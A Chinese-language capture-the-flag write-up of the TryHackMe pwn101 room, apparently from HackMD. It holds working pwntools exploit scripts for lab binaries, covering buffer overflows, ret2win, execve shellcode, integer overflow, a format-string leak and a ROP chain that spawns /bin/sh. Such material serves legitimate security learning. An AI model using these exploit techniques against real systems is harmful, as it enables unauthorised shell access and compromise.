:::info [題目來源](https://tryhackme.com/r/room/pwn101) ::: :::spoiler dir [toc] ::: # Challenge 1 - pwn101 ## Buffer overflow **思路** 用r2 打開檔案發現題目變數var_4h初始設為```0x539```,在變數var_4h不是```0x539```時跳到```0x8f9```這個func也又是有開```/bin/sh```可以跳到這裡代表可以能到shell ![image](https://hackmd.io/_uploads/B1AqRBquC.png) 透過觀察發現發現可以讓user輸入的s為```rbp-0x40```,var_4h為```rbp-0x4```因此可得知只要把```rbp-0x40```這一段蓋掉,```rbp-0x4```這段塞入非```0x539```的數值即可pwn **payload** ```python from pwn import * ip='10.10.101.156' port=9001 r=remote(ip,port) r.sendline(b'a'*0x40) r.interactive() ``` ![image](https://hackmd.io/_uploads/HyIlQIquR.png) --- # Challenge 2 - pwn102 ## Modify variable's value **思路** 用r2打開題意為變數var_4h初始為```0xbadf00d```、var_8h為```0xfee1dead```,但是第一層必須要var_4h等於```0xc0ff33```才能跳到```0x962```也就是往走向```/bin/sh```的第二層,在此層必須在滿足var_8h等於```0xc0d3```才能跳到```0x96b```也就是```/bin/sh```所在地 ![image](https://hackmd.io/_uploads/B1Uqm85OA.png) 先把```0x70~0x8```填完,之後在```0x8~0x4```填入```0xc0d3```,```0x4~rbp```填入```0xc0ff33```即可pwn **payload** ```python from pwn import * ip='10.10.101.156' port=9002 r=remote(ip,port) r.sendline(b'a'*104 + p32(0xc0d3) + p32(0xc0ff33)) r.interactive() ``` ![image](https://hackmd.io/_uploads/Bk9qII5OA.png) --- # Challenge 3 - pwn103 ## Return to win **思路** 打開IDA free(原本用IDA pro看完全跨毋,加上親自實測程式運行,可以發現程式執行會有5個選項可以選其中選擇第三個選項時可以輸入,搭配IDA 看code 發現可以pwn的地方``` __isoc99_scanf("%s", s1);```其中輸入的s1為```char s1[32]; // [rsp+0h] [rbp-20h] BYREF```,在IDA中有一個func是```admins_only```打開來看有```/bin/sh``` >**IDA** >main function > ```c > int __fastcall main(int argc, const char **argv, const char **envp) > { > const char **v3; // rdx > int result; // eax > int v5; // [rsp+Ch] [rbp-4h] BYREF > > setup(argc, argv, envp); > banner(); > puts(&byte_403298); > puts(a1_0); > puts(&byte_403298); > printf(&byte_403323); > __isoc99_scanf(&unk_403340, &v5); > switch ( v5 ) > { > case 1: > result = announcements(); > break; > case 2: > result = rules(); > break; > case 3: > result = general(); > break; > case 4: > result = discussion(); > break; > case 5: > result = bot_cmd(); > break; > default: > result = main((int)&unk_403340, (const char **)&v5, v3); > break; > } > return result; > } > ``` > general() function > ```c > int general() > { > const char **v0; // rdx > char s1[32]; // [rsp+0h] [rbp-20h] BYREF > > puts(asc_4023AA); > puts(aJopraveenHello); > puts(aJopraveenHopeY); > puts(aJopraveenYouFo); > printf("------[pwner]: "); > __isoc99_scanf("%s", s1); > if ( strcmp(s1, "yes") ) > return puts(aTryHarder); > puts(aJopraveenGg); > return main((int)aJopraveenGg, (const char **)"yes", v0); > } > ``` > admins_only > ```c > int admins_only() > { > puts(asc_403267); > puts(aWelcomeAdmin); > return system("/bin/sh"); > } > ``` 主要要把ret addr 換成admins_only的位置因此先把general()的```0x20```蓋掉接著再蓋掉0x8的rbp,填入admins_only的位置,在這填的是```0x401555```而不是第一個```0x401554```因為在第一個位置還有```push rbp```因此選擇```push rbp```之後的位置 ![image](https://hackmd.io/_uploads/B1-_So5_C.png) **payload** ```python from pwn import * #r=process('./pwn103-1644300337872.pwn103') ip='10.10.100.188' port=9003 r=remote(ip,port) r.sendline(b'3') r.sendline(b'a'*0x28 + p64(0x401555)) r.interactive() ``` ![image](https://hackmd.io/_uploads/H1v-YAnOC.png) --- # Challenge 4 - pwn104 ## Return to shellcode **思路** 用IDA 打開看buf這個陣列大小為80但是可以輸入的值為200明顯可以bof。 ```c int __fastcall main(int argc, const char **argv, const char **envp) { char buf[80]; // [rsp+0h] [rbp-50h] BYREF setup(argc, argv, envp); banner(); puts(aIThinkIHaveSom); puts(aEspeciallyExec); puts(aCanWeGoForAFig); printf("I'm waiting for you at %p\n", buf); return read(0, buf, 0xC8uLL); } ``` 先塞入[shellcode](https://www.exploit-db.com/exploits/51834)接著在80個把buf填滿,在填8個把rbp蓋過去,因為前面有填入shellcode要把這一段的長度拿掉不算,所以實際填入的total要是```88-len(shellcode)```,接著在填上連上題目就會給你的ret addres **payload** ```python from pwn import * ip='10.10.106.113' port=9004 r=remote(ip,port) r.recvlines(9) addres=int(r.recv().decode().split(' ')[-1],16) shellcode=b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05" r.sendline(shellcode + b'a'*(88-len(shellcode))+p64(addres)) r.interactive() ``` ![image](https://hackmd.io/_uploads/Bk2DO0hdA.png) --- # Challenge 5 - pwn105 ## Integer Overflow **思路** 必須滿足題目```(v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 ```才能有機會跳到```/bin/sh```意思是v5、v6必須要是小於```0x80000000```也就是小於等於C裡面int最大值2147483647,但是要需要v5+v6也就是v7大於等於```0x80000000```才會```(v7 & 0x80000000) != 0``` ```c int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int v5; // [rsp+Ch] [rbp-14h] BYREF unsigned int v6; // [rsp+10h] [rbp-10h] BYREF unsigned int v7; // [rsp+14h] [rbp-Ch] unsigned __int64 v8; // [rsp+18h] [rbp-8h] v8 = __readfsqword(0x28u); setup(argc, argv, envp); banner(); puts("-------=[ BAD INTEGERS ]=-------"); puts("|-< Enter two numbers to add >-|\n"); printf("]>> "); __isoc99_scanf("%d", &v5); printf("]>> "); __isoc99_scanf("%d", &v6); v7 = v5 + v6; if ( (v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 ) { printf("\n[o.O] Hmmm... that was a Good try!\n"); } else if ( (v7 & 0x80000000) != 0 ) { printf("\n[*] C: %d", v7); puts("\n[*] Popped Shell\n[*] Switching to interactive mode"); system("/bin/sh"); } else { printf("\n[*] ADDING %d + %d", v5, v6); printf("\n[*] RESULT: %d\n", v7); } return v8 - __readfsqword(0x28u); } ``` v5填2147483647、v6填1,讓v5+v6(v7)大於int最大值,pwn! **payload** ```python from pwn import * ip='10.10.12.233' port=9005 r=remote(ip,port) r.recvlines(9) r.sendlineafter(']>>',b'2147483647') r.sendlineafter(']>>',b'1') r.interactive() ``` ![image](https://hackmd.io/_uploads/Bko2v03O0.png) --- # Challenge 6 - pwn106 ## Format string exploit **思路** 用GDB R2搭配,發現`%6$p`會撈到flag 的第一段,依此類推慢慢撈下去 (第一次自己寫fmt的payload花了有點久,之前都是直接丟到網站直接convert好) **payload** ```python from pwn import * r=remote('10.10.125.41',9006) #r = process('/mnt/d/Users/cheng/Downloads/pwn106-user-1644300441063.pwn106-user') r.recvlines(7) r.sendline(b"%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p") r.recvline() response = r.recvline().decode().strip().replace('Thanks ', '').replace('0x','').split(',') for i in range(7): print(bytes.fromhex(response[i]).decode()[::-1],end='') print() r.close() ``` ![image](https://hackmd.io/_uploads/SJVaFetq0.png) --- # Challenge 7 - pwn107 ## Bypassing mitigations **思路** **payload** --- # Challenge 8 - pwn108 ## GOT overwrite **思路** **payload** --- # Challenge 9 - pwn109 ## Return to PLT **思路** **payload** --- # Challenge 10 - pwn110 ## Playing with ROP **思路** 可以看到`var_20h`這個變數要蓋,之後再慢慢的去找 ROPgadget串syscall, ![image](https://hackmd.io/_uploads/B1uMgQY4Jx.png) | NR | SYSCALL NAME | references | RAX | ARG0 (rdi) | ARG1 (rsi) | ARG2 (rdx) | ARG3 (r10) | ARG4 (r8) | ARG5 (r9) | |-----|--------------|------------|-----|-----------------------|-----------------------------------|-----------------------------------|------------|-----------|-----------| | 59 | execve | man/ cs/ | 3B | const char *filename | const char *const *argv | const char *const *envp | - | - | - | 根據上面表格一個一個串 ```bash #pop rax ┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads] └─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rax ; ret" 0x00000000004497d7 : pop rax ; ret ``` ```bash #pop rdi ┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads] └─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdi ; ret" 0x000000000040191a : pop rdi ; ret ``` ```bash #pop rsi ┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads] └─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rsi ; ret" 0x000000000045b246 : or byte ptr [rbx + 0x41], bl ; pop rsi ; ret 0x000000000040f4de : pop rsi ; ret ``` ```bash #pop rdx ┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads] └─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdx ; ret" 0x000000000040181b : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret 0x000000000040181d : add byte ptr [rax], al ; pop rdx ; ret 0x0000000000401817 : fst dword ptr [rdi] ; or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret 0x0000000000401819 : or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret 0x000000000040181f : pop rdx ; ret 0x0000000000472f42 : pop rdx ; retf 0x0000000000472f3d : sal byte ptr [rax + riz - 0x75], 0x35 ; pop rdx ; retf ``` ```bash # find data addres ┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads] └─$ readelf -S pwn110-1644300525386.pwn110 | grep "\.data" [18] .data.rel.ro PROGBITS 00000000004bd100 000bc100 [21] .data PROGBITS 00000000004c00e0 000bf0e0 ``` ```bash #將寄存器 rdx 中的值寫入 rdi 指向的記憶體位置 ┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads] └─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "mov qword ptr \[ rdi\]" 省略 0x00000000004340a3 : mov qword ptr [rdi], rdx ; ret 省略 ``` ```bash #最後去尋找執行整個ROPchain 的syscall ┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads] └─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep syscall 省略 0x00000000004012d3 : syscall 省略 ``` 都找好位置後按造syscall table 的要求 1. b'a'*0x28 + # 用來填充緩衝區,直到覆蓋返回地址 1. p64(pop_rdx) + # ROP gadget: 將 RDX 寄存器設置為指向 "/bin/sh\x00" 1. b'/bin/sh\x00' + # 實際的字串 "/bin/sh",用來開啟 shell 1. p64(pop_rdi) + # ROP gadget: 將 RDI 寄存器設置為目標地址 1. p64(data_addr) + # 目標地址:將 "/bin/sh" 存放在此地址 1. p64(mov_rdx_to_rdi) + # ROP gadget: 將 RDX 的值(即 "/bin/sh")移動到 RDI 1. p64(pop_rsi) + # ROP gadget: 設置 RSI 寄存器 1. p64(0) + # execve() 的第二個參數:NULL 1. p64(pop_rdx) + # 再次設置 RDX 寄存器 1. p64(0) + # execve() 的第三個參數:NULL 1. p64(pop_rax) + # ROP gadget: 設置 RAX 寄存器,指定系統呼叫號 1. p64(59) + # 系統呼叫號 59:execve() 1. p64(syscall_addr) # ROP gadget: 觸發 syscall,執行系統呼叫 **payload** ```python from pwn import * r=remote('10.10.162.17',9010) pop_rdi=0x40191a pop_rax=0x4497d7 pop_rsi=0x40f4de pop_rdx=0x40181f data_addr=0x4c00e0 mov_rdx_to_rdi=0x4340a3 syscall_addr=0x4012d3 r.sendline(b'a'*0x28+p64(pop_rdx)+b'/bin/sh\x00'+p64(pop_rdi)+p64(data_addr)+p64(mov_rdx_to_rdi)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall_addr)) r.interactive() ```